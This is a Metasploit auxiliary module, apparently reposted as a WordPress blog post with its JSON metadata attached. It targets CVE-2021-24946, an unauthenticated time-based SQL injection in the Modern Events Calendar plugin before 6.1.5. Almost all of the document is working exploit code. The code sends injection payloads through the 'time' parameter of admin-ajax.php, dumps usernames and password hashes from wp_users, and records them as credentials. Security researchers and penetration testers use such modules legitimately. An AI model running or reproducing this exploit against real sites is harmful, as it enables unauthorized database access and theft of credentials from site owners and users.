##
# This module requires Metasploit: https:\/\/metasploit.com\/download
# Current source: https:\/\/github.com\/rapid7\/metasploit-framework
##<\/p>\n
class MetasploitModule < Msf::Auxiliary
include Msf::Exploit::Remote::HTTP::Wordpress
include Msf::Auxiliary::Scanner
include Msf::Exploit::SQLi<\/p>\n
def initialize(info = {})
super(
update_info(
info,
‘Name’ => ‘WordPress Modern Events Calendar SQLi Scanner’,
‘Description’ => %q{
Modern Events Calendar plugin contains an unauthenticated timebased SQL injection in
versions before 6.1.5. The time parameter is vulnerable to injection.
},
‘Author’ => [
‘h00die’, # msf module
‘Hacker5preme (Ron Jost)’, # edb
‘red0xff’ # sqli lib assistance
],
‘License’ => MSF_LICENSE,
‘References’ => [
[ ‘EDB’, ‘50687’ ],
[ ‘CVE’, ‘2021-24946’ ],
[ ‘URL’, ‘https:\/\/github.com\/Hacker5preme\/Exploits\/blob\/main\/Wordpress\/CVE-2021-24946\/README.md’ ],
[ ‘WPVDB’, ‘09871847-1d6a-4dfe-8a8c-f2f53ff87445’ ]],
‘Actions’ => [
[‘List Users’, { ‘Description’ => ‘Queries username, password hash for COUNT users’ }],
],
‘Notes’ => {
‘Stability’ => [CRASH_SAFE],
‘Reliability’ => [],
‘SideEffects’ => [IOC_IN_LOGS]},
‘DefaultAction’ => ‘List Users’,
‘DisclosureDate’ => ‘2021-12-13’
)
)
register_options [
OptInt.new(‘COUNT’, [false, ‘Number of users to enumerate’, 1])
]end<\/p>\n
def check_host(_ip)
unless wordpress_and_online?
return Msf::Exploit::CheckCode::Safe(‘Server not online or not detected as wordpress’)
end<\/p>\n
checkcode = check_plugin_version_from_readme(‘modern-events-calendar-lite’, ‘6.1.5’)
if checkcode == Msf::Exploit::CheckCode::Safe
return Msf::Exploit::CheckCode::Safe(‘Modern Events Calendar version not vulnerable’)
end<\/p>\n
print_good(‘Vulnerable version of Modern Events Calendar detected’)
checkcode
end<\/p>\n
def run_host(ip)
@sqli = create_sqli(dbms: MySQLi::TimeBasedBlind, opts: { hex_encode_strings: true }) do |payload| # also tried encoder: :base64 and still not quite getting the right answer.
d = Rex::Text.rand_text_numeric(4)
# the webapp takes this parameter and uses it two times in the query, therefore our sleep is 2x what it should be. so we need to cut it.
payload = payload.gsub(\/sleep\\(\\d+\\.\\d+\\)\/i, “sleep(#{datastore[‘SQLIDELAY’] \/ 2})”)<\/p>\n
res = send_request_cgi({
‘method’ => ‘GET’,
‘uri’ => normalize_uri(target_uri.path, ‘wp-admin’, ‘admin-ajax.php’),
‘vars_get’ => {
‘action’ => ‘mec_load_single_page’,
# taken from sqlmap
‘time’ => “#{Rex::Text.rand_text_numeric(1)}) AND (SELECT #{Rex::Text.rand_text_numeric(4)} FROM (SELECT(#{payload}))#{Rex::Text.rand_text_alpha(4)}) AND (#{d}=#{d}”
}
})
fail_with Failure::Unreachable, ‘Connection failed’ unless res
end
unless @sqli.test_vulnerable
fail_with Failure::PayloadFailed, “#{peer} – Testing of SQLi failed. If this is time based, try increasing SqliDelay.”
end<\/p>\n
columns = [‘user_login’, ‘user_pass’]results = @sqli.dump_table_fields(‘wp_users’, columns, ”, datastore[‘COUNT’])
table = Rex::Text::Table.new(‘Header’ => ‘wp_users’, ‘Indent’ => 1, ‘Columns’ => columns)
results.each do |user|
create_credential({
workspace_id: myworkspace_id,
origin_type: :service,
module_fullname: fullname,
username: user[0],
private_type: :nonreplayable_hash,
jtr_format: Metasploit::Framework::Hashes.identify_hash(user[1]),
private_data: user[1],
service_name: ‘Wordpress’,
address: ip,
port: datastore[‘RPORT’],
protocol: ‘tcp’,
status: Metasploit::Model::Login::Status::UNTRIED
})
table << user
end
print_good(table.to_s)
end
end<\/p>\n","protected":false},"excerpt":{"rendered":"
### This module requires Metasploit: https:\/\/metasploit.com\/download# Current source: https:\/\/github.com\/rapid7\/metasploit-framework## class MetasploitModule < Msf::Auxiliaryinclude Msf::Exploit::Remote::HTTP::Wordpressinclude Msf::Auxiliary::Scannerinclude Msf::Exploit::SQLi def initialize(info = {})super(update_info(info,‘Name’ => ‘WordPress Modern Events Calendar SQLi Scanner’,‘Description’ => %q{Modern Events Calendar plugin contains an unauthenticated timebased SQL injection inversions before 6.1.5. The time parameter is vulnerable to injection.},‘Author’ => [‘h00die’, # msf module‘Hacker5preme (Ron Jost)’, …<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"closed","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[26],"tags":[],"class_list":["post-59347","post","type-post","status-publish","format-standard","hentry","category-vulnerability"],"_links":{"self":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts\/59347","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/comments?post=59347"}],"version-history":[{"count":0,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts\/59347\/revisions"}],"wp:attachment":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/media?parent=59347"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/categories?post=59347"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/tags?post=59347"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}